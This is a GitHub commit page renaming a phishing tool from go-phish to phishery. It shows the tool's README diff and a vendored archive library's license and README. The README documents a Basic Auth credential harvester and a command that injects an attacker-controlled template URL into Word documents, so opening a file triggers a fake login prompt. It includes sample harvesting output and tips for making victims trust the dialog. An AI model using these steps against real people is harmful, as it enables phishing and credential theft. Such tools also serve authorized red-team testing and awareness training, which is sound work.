Skip to content

Commit

Permalink
Renamed project to phishery, lots of refactoring and clean up
Browse files Browse the repository at this point in the history
  • Loading branch information
ryhanson committed Sep 25, 2016
1 parent fc5aadd commit 85b4e6c
Show file tree
Hide file tree
Showing 16 changed files with 826 additions and 307 deletions.
57 changes: 29 additions & 28 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,44 +1,45 @@
# go-phish
# phishery

go-phish is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.
phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.

The power of go-phish is best demonstrated by setting a Word document's template to a go-phish URL. This causes
The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes
Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The
ability to inject any .docx file with a URL is possible using the go-phish's
ability to inject any .docx file with a URL is possible using the phishery's
`-i [in docx]`, `-o [out docx]`, and `-u [url]` options.

### Download
Operating specific packages can be [downloaded from here](https://github.com/ryhanson/go-phish/releases).
Operating specific packages can be [downloaded from here](https://github.com/ryhanson/phishery/releases).

### Install
Extract the archive, and optionally, install binary to $PATH

```bash
$ tar -xzvf go-phish*.tar.gz
$ cd go-phish*
$ cp go-phish /usr/local/bin
$ tar -xzvf phishery*.tar.gz
$ cd phishery*
$ cp phishery /usr/local/bin
```

### Usage
```text
$ go-phish --help
__ _ __
____ _____ ____ / /_ (_)____/ /_
/ __ \/ __ \______/ __ \/ __ \/ / ___/ __ \
/ /_/ / /_/ /_____/ /_/ / / / / (__ ) / / /
\__, /\____/ / .___/_/ /_/_/____/_/ /_/
/____/ /_/ An SSL Enabled Basic Auth Credential Harvester
with a Word Document Template URL Injector
Start the server : go-phish -s settings.json -c credentials.json
Inject a template : go-phish -u https://secure.site.local/docs -i good.docx -o bad.docx
$ phishery --help
|\ \\\\__ O __ _ __
| \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __
> _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / /
| / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ /
|/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, /
/_/ Basic Auth Credential Harvester (____/
with Word Doc Template Injector
Start the server : phishery -s settings.json -c credentials.json
Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
Options:
-h, --help Show usage and exit.
-v Show version and exit.
-s The JSON settings file used to setup the server. [default: "settings.json"]
-c The JSON file to store harvested credentials. [default: "credentials.json"]
-u The go-phish URL to use as the Word document template.
-u The phishery URL to use as the Word document template.
-i The Word .docx file to inject with a template URL.
-o The new Word .docx file with the injected template URL.
```
Expand Down Expand Up @@ -84,35 +85,35 @@ The settings file may also be configured to output a simple body, by using *resp
```

The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user
will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the go-phish server.
will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server.

It's recommended that the provided cert is replaced with a trusted one, such as one generated with
[LetsEncrypt](https://github.com/certbot/certbot). Microsoft Word on OS X will prevent the auth dialog if the cert is invalid.

Once the server is configured and running, all you need to do is embed a go-phish URL in a document, or anywhere
else your heart desires. go-phish does give you the ability to inject your URL into a Word document as a template,
Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere
else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template,
instructions on how to do this can be found below.

##### Injecting a Word Document
To inject a Word document with a template URL, you'll need a .docx file and the go-phish server URL.
To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL.

Now run go-phish with your document and URL:
Now run phishery with your document and URL:

```text
$ go-phish -url https://secure.site.local/docs -docx good.docx -badocx bad.docx
$ phishery -url https://secure.site.local/docs -docx good.docx -badocx bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
```

Make sure your go-phish server is running and available at the URL you used. Now when the Word document
Make sure your phishery server is running and available at the URL you used. Now when the Word document
is opened, the victim will be prompted with an authentication dialog.

Now when the victim opens the document, you'll see the following:

```text
$ ./go-phish
$ ./phishery
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
[*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs
Expand Down
28 changes: 28 additions & 0 deletions archivex/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
Copyright (c) 2014, Jhonathan Paulo Banczek
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.

* Neither the name of archivex nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

71 changes: 71 additions & 0 deletions archivex/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
archivex
========

archivex is a golang package that archives folders (recursively) and files to zip and tar formats.

[![Build Status](https://travis-ci.org/jhoonb/archivex.svg)](https://travis-ci.org/jhoonb/archivex)
[![](http://gocover.io/_badge/github.com/jhoonb/archivex)](http://gocover.io/github.com/jhoonb/archivex)

Installation
-------------

``` bash
$ go get github.com/jhoonb/archivex
```


Example
-------------

```go

package main

import (
"github.com/jhoonb/archivex"
)

// Example using only func zip
func zip() {
zip := new(archivex.ZipFile)
zip.Create("filezip")
zip.Add("testadd.txt", []byte("test 1"))
zip.AddFile("<input_path_file_here>")
zip.AddAll("<input_dir_here", true)
zip.Close()
}

// Example using only func tar
func tar() {
tar := new(archivex.TarFile)
tar.Create("filetar")
tar.Add("testadd.txt", []byte("test 1"))
tar.AddFile("<input_path_file_here>")
tar.AddAll("<input_dir_here", true)
tar.Close()
}

// Example using interface
func usingInterface() {

archx := []archivex.Archivex{&archivex.TarFile{}, &archivex.ZipFile{}}

for _, arch := range archx {
arch.Create("fileinterface")
arch.Add("testadd.txt", []byte("file 1 :) "))
arch.AddFile("<input_path_file_here>")
arch.AddAll("<input_dir_here", true)
arch.Close()
}
}

func main() {

zip()
tar()
usingInterface()
}

```

:)
Loading

0 comments on commit 85b4e6c

Please sign in to comment.